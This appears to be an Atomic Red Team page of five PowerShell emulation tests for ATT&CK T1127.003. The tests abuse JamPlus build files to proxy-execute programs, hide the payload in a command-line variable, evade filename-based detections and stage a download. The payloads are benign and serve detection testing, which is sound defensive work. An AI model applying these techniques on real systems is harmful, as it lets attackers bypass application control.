logo
SlackReddit

T1127.003

Trusted Developer Utilities Proxy Execution: JamPlus

Description from ATT&CK

Adversaries may use JamPlus to proxy the execution of a malicious script. JamPlus is a build utility tool for code and data build systems. It works with several popular compilers and can be used for generating workspaces in code editors such as Visual Studio.(Citation: JamPlus manual)

Adversaries may abuse the JamPlus build utility to execute malicious scripts via a .jam file, which describes the build process and required dependencies. Because the malicious script is executed from a reputable developer tool, it may subvert application control security systems such as Smart App Control.(Citation: Cyble)(Citation: Elastic Security Labs)

Source

Atomic Tests

Atomic Test #1: JamPlus proxy execution - launch calc.exe via Jamfile.jam action

Writes a minimal Jamfile.jam whose build action shell-executes calc.exe, then invokes jam.exe against it. Mirrors the reported abuse pattern of using JamPlus's build actions to proxy execution of an arbitrary binary from a reputable developer tool. Expected output: calc.exe launches as a child process of jam.exe.

Supported Platforms: Windows

auto_generated_guid: 5f7f863b-b6e5-4eb3-98af-9844d194137e

Inputs

NameDescriptionTypeDefault Value
jam_pathPath to the JamPlus executable (jam.exe)pathC:\JamPlus\jam.exe
work_dirScratch directory to build the Jamfile.jam inpath$env:TEMP\T1127.003_test1

Attack Commands: Run with powershell!

New-Item -ItemType Directory -Path "#{work_dir}" -Force | Out-Null
@'
actions RunPayload
{
    calc.exe
}
RunPayload payload ;
NotFile payload ;
Always payload ;
Depends all : payload ;
'@ | Set-Content -Path "#{work_dir}\Jamfile.jam"
Push-Location "#{work_dir}"
& "#{jam_path}"
Pop-Location

Cleanup Commands

Remove-Item -Recurse -Force "#{work_dir}" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: JamPlus (jam.exe) and its required Jambase.jam must both exist at the specified path
Check Prereq Commands
$jamDir = Split-Path "#{jam_path}"
if ((Test-Path "#{jam_path}") -and (Test-Path (Join-Path $jamDir "Jambase.jam"))) { exit 0 } else { exit 1 }
Get Prereq Commands
$releaseInfo = Invoke-RestMethod -Uri "https://api.github.com/repos/jamplus/jamplus/releases/latest" -UseBasicParsing
$asset = $releaseInfo.assets | Where-Object { $_.name -like "*win*" -and $_.name -like "*.zip" } | Select-Object -First 1
if (-not $asset) { $asset = $releaseInfo.assets | Where-Object { $_.name -like "*.zip" } | Select-Object -First 1 }
$zipPath = "$env:TEMP\jamplus.zip"
Invoke-WebRequest -Uri $asset.browser_download_url -OutFile $zipPath -UseBasicParsing
$extractDir = Split-Path "#{jam_path}"
New-Item -ItemType Directory -Path $extractDir -Force | Out-Null
Expand-Archive -Path $zipPath -DestinationPath $extractDir -Force
Remove-Item $zipPath -Force
if (-not (Test-Path "#{jam_path}")) {
  $found = Get-ChildItem -Path $extractDir -Recurse -Filter "jam.exe" | Select-Object -First 1
  if ($found) { Move-Item $found.FullName "#{jam_path}" -Force }
}
$jamDir = Split-Path "#{jam_path}"
if (-not (Test-Path (Join-Path $jamDir "Jambase.jam"))) {
  $jambase = Get-ChildItem -Path $extractDir -Recurse -Filter "Jambase.jam" | Select-Object -First 1
  if ($jambase) {
    Copy-Item $jambase.FullName (Join-Path $jamDir "Jambase.jam") -Force
  } else {
    Write-Warning "Jambase.jam was not found anywhere in the extracted archive. JamPlus will fail to parse Jamfiles until this is resolved."
  }
}

Atomic Test #2: JamPlus proxy execution - launch PowerShell via Jamfile.jam action

Writes a Jamfile.jam whose build action invokes powershell.exe to write a marker file, simulating an adversary using JamPlus to proxy execution of a PowerShell payload rather than a GUI binary. Expected output: a marker file is created by the powershell.exe process spawned from jam.exe.

Supported Platforms: Windows

auto_generated_guid: 51b6913b-f96a-4d18-9802-41d4c5d4f995

Inputs

NameDescriptionTypeDefault Value
jam_pathPath to the JamPlus executable (jam.exe)pathC:\JamPlus\jam.exe
work_dirScratch directory to build the Jamfile.jam inpath$env:TEMP\T1127.003_test2
marker_fileFile the proxied PowerShell process will createpath$env:TEMP\T1127.003_marker.txt

Attack Commands: Run with powershell!

New-Item -ItemType Directory -Path "#{work_dir}" -Force | Out-Null
@"
actions RunPayload
{
    powershell.exe -NoProfile -Command "Set-Content -Path '#{marker_file}' -Value 'T1127.003 test'"
}
RunPayload payload ;
NotFile payload ;
Always payload ;
Depends all : payload ;
"@ | Set-Content -Path "#{work_dir}\Jamfile.jam"
Push-Location "#{work_dir}"
& "#{jam_path}"
Pop-Location

Cleanup Commands

Remove-Item -Recurse -Force "#{work_dir}" -ErrorAction Ignore
Remove-Item "#{marker_file}" -Force -ErrorAction Ignore

Dependencies: Run with powershell!

Description: JamPlus (jam.exe) and its required Jambase.jam must both exist at the specified path
Check Prereq Commands
$jamDir = Split-Path "#{jam_path}"
if ((Test-Path "#{jam_path}") -and (Test-Path (Join-Path $jamDir "Jambase.jam"))) { exit 0 } else { exit 1 }
Get Prereq Commands
$releaseInfo = Invoke-RestMethod -Uri "https://api.github.com/repos/jamplus/jamplus/releases/latest" -UseBasicParsing
$asset = $releaseInfo.assets | Where-Object { $_.name -like "*win*" -and $_.name -like "*.zip" } | Select-Object -First 1
if (-not $asset) { $asset = $releaseInfo.assets | Where-Object { $_.name -like "*.zip" } | Select-Object -First 1 }
$zipPath = "$env:TEMP\jamplus.zip"
Invoke-WebRequest -Uri $asset.browser_download_url -OutFile $zipPath -UseBasicParsing
$extractDir = Split-Path "#{jam_path}"
New-Item -ItemType Directory -Path $extractDir -Force | Out-Null
Expand-Archive -Path $zipPath -DestinationPath $extractDir -Force
Remove-Item $zipPath -Force
if (-not (Test-Path "#{jam_path}")) {
  $found = Get-ChildItem -Path $extractDir -Recurse -Filter "jam.exe" | Select-Object -First 1
  if ($found) { Move-Item $found.FullName "#{jam_path}" -Force }
}
$jamDir = Split-Path "#{jam_path}"
if (-not (Test-Path (Join-Path $jamDir "Jambase.jam"))) {
  $jambase = Get-ChildItem -Path $extractDir -Recurse -Filter "Jambase.jam" | Select-Object -First 1
  if ($jambase) {
    Copy-Item $jambase.FullName (Join-Path $jamDir "Jambase.jam") -Force
  } else {
    Write-Warning "Jambase.jam was not found anywhere in the extracted archive. JamPlus will fail to parse Jamfiles until this is resolved."
  }
}

Atomic Test #3: JamPlus proxy execution - payload injected via command-line variable substitution

Writes an innocuous-looking Jamfile.jam whose action body only references a variable, with no payload embedded in the file itself. The actual command is supplied entirely via a jam -s command-line variable at invocation time, so the Jamfile would pass a static content review while the executed command is assembled only at runtime. Simulates a supply-chain-style abuse pattern where a pre-approved, benign-looking build script is weaponized purely through its invocation parameters. Expected output: calc.exe launches as a child process of jam.exe, despite the Jamfile containing no reference to calc.exe.

Supported Platforms: Windows

auto_generated_guid: 077fb22c-fe92-4abd-aecf-31339324864b

Inputs

NameDescriptionTypeDefault Value
jam_pathPath to the JamPlus executable (jam.exe)pathC:\JamPlus\jam.exe
work_dirScratch directory to build the Jamfile.jam inpath$env:TEMP\T1127.003_test3b
payload_commandCommand injected at invocation time via the PAYLOAD variablestringcalc.exe

Attack Commands: Run with powershell!

New-Item -ItemType Directory -Path "#{work_dir}" -Force | Out-Null
@'
actions RunPayload
{
    $(PAYLOAD)
}
RunPayload payload ;
NotFile payload ;
Always payload ;
Depends all : payload ;
'@ | Set-Content -Path "#{work_dir}\Jamfile.jam"
Push-Location "#{work_dir}"
& "#{jam_path}" -s"PAYLOAD=#{payload_command}" payload
Pop-Location

Cleanup Commands

Remove-Item -Recurse -Force "#{work_dir}" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: JamPlus (jam.exe) and its required Jambase.jam must both exist at the specified path
Check Prereq Commands
$jamDir = Split-Path "#{jam_path}"
if ((Test-Path "#{jam_path}") -and (Test-Path (Join-Path $jamDir "Jambase.jam"))) { exit 0 } else { exit 1 }
Get Prereq Commands
Write-Host "Run test 1's get_prereq_command first to install JamPlus and Jambase.jam."

Atomic Test #4: JamPlus proxy execution - command execution via explicitly named Jamfile

Writes a build-instructions file under a non-default filename and invokes JamPlus against it explicitly using the -f flag, rather than relying on JamPlus's default Jamfile.jam auto-discovery. Demonstrates a distinct invocation path that may evade detections keyed only on the default filename. Expected output: notepad.exe launches as a child process of jam.exe.

Supported Platforms: Windows

auto_generated_guid: cab43461-dbf0-4786-a9bc-857067272f8d

Inputs

NameDescriptionTypeDefault Value
jam_pathPath to the JamPlus executable (jam.exe)pathC:\JamPlus\jam.exe
work_dirScratch directory to build the custom jam file inpath$env:TEMP\T1127.003_test4b

Attack Commands: Run with powershell!

New-Item -ItemType Directory -Path "#{work_dir}" -Force | Out-Null
@'
actions RunPayload
{
    cmd.exe /c start "" notepad.exe
}
RunPayload payload ;
NotFile payload ;
Always payload ;
Depends all : payload ;
'@ | Set-Content -Path "#{work_dir}\build_instructions.jam"
Push-Location "#{work_dir}"
& "#{jam_path}" -f build_instructions.jam payload
Pop-Location

Cleanup Commands

Get-Process notepad -ErrorAction Ignore | Stop-Process -Force -ErrorAction Ignore
Remove-Item -Recurse -Force "#{work_dir}" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: JamPlus (jam.exe) and its required Jambase.jam must both exist at the specified path
Check Prereq Commands
$jamDir = Split-Path "#{jam_path}"
if ((Test-Path "#{jam_path}") -and (Test-Path (Join-Path $jamDir "Jambase.jam"))) { exit 0 } else { exit 1 }
Get Prereq Commands
Write-Host "Run test 1's get_prereq_command first to install JamPlus and Jambase.jam."

Atomic Test #5: JamPlus proxy execution - payload download and execute via jam build action

Writes a Jamfile.jam whose build action downloads a benign file from a local/looped-back source and writes it to disk via jam, simulating the download-and-stage step adversaries perform before executing a second-stage payload through JamPlus, without actually executing attacker-controlled content. Expected output: a file is retrieved and written to disk by a process spawned from jam.exe.

Supported Platforms: Windows

auto_generated_guid: 424b5096-2c96-44a0-a48f-ef66bb9d5638

Inputs

NameDescriptionTypeDefault Value
jam_pathPath to the JamPlus executable (jam.exe)pathC:\JamPlus\jam.exe
work_dirScratch directory to build the Jamfile.jam inpath$env:TEMP\T1127.003_test5
staged_filePath the proxied process will write topath$env:TEMP\T1127.003_staged.txt

Attack Commands: Run with powershell!

New-Item -ItemType Directory -Path "#{work_dir}" -Force | Out-Null
@"
actions Stage
{
    powershell.exe -NoProfile -Command "Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/README.md' -OutFile '#{staged_file}' -UseBasicParsing"
}
Stage payload ;
NotFile payload ;
Always payload ;
Depends all : payload ;
"@ | Set-Content -Path "#{work_dir}\Jamfile.jam"
Push-Location "#{work_dir}"
& "#{jam_path}"
Pop-Location

Cleanup Commands

Remove-Item -Recurse -Force "#{work_dir}" -ErrorAction Ignore
Remove-Item "#{staged_file}" -Force -ErrorAction Ignore

Dependencies: Run with powershell!

Description: JamPlus (jam.exe) and its required Jambase.jam must both exist at the specified path
Check Prereq Commands
$jamDir = Split-Path "#{jam_path}"
if ((Test-Path "#{jam_path}") -and (Test-Path (Join-Path $jamDir "Jambase.jam"))) { exit 0 } else { exit 1 }
Get Prereq Commands
$releaseInfo = Invoke-RestMethod -Uri "https://api.github.com/repos/jamplus/jamplus/releases/latest" -UseBasicParsing
$asset = $releaseInfo.assets | Where-Object { $_.name -like "*win*" -and $_.name -like "*.zip" } | Select-Object -First 1
if (-not $asset) { $asset = $releaseInfo.assets | Where-Object { $_.name -like "*.zip" } | Select-Object -First 1 }
$zipPath = "$env:TEMP\jamplus.zip"
Invoke-WebRequest -Uri $asset.browser_download_url -OutFile $zipPath -UseBasicParsing
$extractDir = Split-Path "#{jam_path}"
New-Item -ItemType Directory -Path $extractDir -Force | Out-Null
Expand-Archive -Path $zipPath -DestinationPath $extractDir -Force
Remove-Item $zipPath -Force
if (-not (Test-Path "#{jam_path}")) {
  $found = Get-ChildItem -Path $extractDir -Recurse -Filter "jam.exe" | Select-Object -First 1
  if ($found) { Move-Item $found.FullName "#{jam_path}" -Force }
}
$jamDir = Split-Path "#{jam_path}"
if (-not (Test-Path (Join-Path $jamDir "Jambase.jam"))) {
  $jambase = Get-ChildItem -Path $extractDir -Recurse -Filter "Jambase.jam" | Select-Object -First 1
  if ($jambase) {
    Copy-Item $jambase.FullName (Join-Path $jamDir "Jambase.jam") -Force
  } else {
    Write-Warning "Jambase.jam was not found anywhere in the extracted archive. JamPlus will fail to parse Jamfiles until this is resolved."
  }
}

Atomic test(s) for this technique last updated: 2026-11-02 18:10:33 UTC

On this page